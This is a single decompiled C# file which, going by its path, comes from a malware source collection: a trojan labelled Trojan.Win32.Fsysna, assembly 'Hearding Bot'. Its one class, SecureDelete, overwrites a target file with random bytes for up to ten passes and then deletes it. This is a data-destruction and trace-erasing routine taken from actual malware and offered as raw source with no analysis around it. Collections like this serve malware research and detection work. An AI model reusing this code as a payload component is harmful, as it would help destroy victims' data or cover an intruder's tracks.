MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a/DeleteFile.cs

// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.DeleteFile
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe

using System;
using System.IO;

namespace Hearding_Bot
{
  internal class DeleteFile
  {
    public static bool SecureDelete(string resourceName, int passes)
    {
      if (passes > 0 && passes <= 10)
      {
        if (File.Exists(resourceName))
        {
          BinaryWriter binaryWriter;
          try
          {
            binaryWriter = new BinaryWriter((Stream) new FileStream(resourceName, FileMode.Open, FileAccess.ReadWrite, FileShare.None));
          }
          catch
          {
            return false;
          }
          long length = binaryWriter.BaseStream.Length;
          if (length <= 0L)
            return false;
          Random random = new Random();
          for (int index1 = 0; index1 < passes; ++index1)
          {
            binaryWriter.Seek(0, SeekOrigin.Begin);
            for (long index2 = 0; index2 < length; ++index2)
              binaryWriter.Write((char) random.Next(0, 256));
            binaryWriter.Flush();
          }
          binaryWriter.Close();
          try
          {
            File.Delete(resourceName);
          }
          catch
          {
            return false;
          }
          return true;
        }
      }
      return false;
    }
  }
}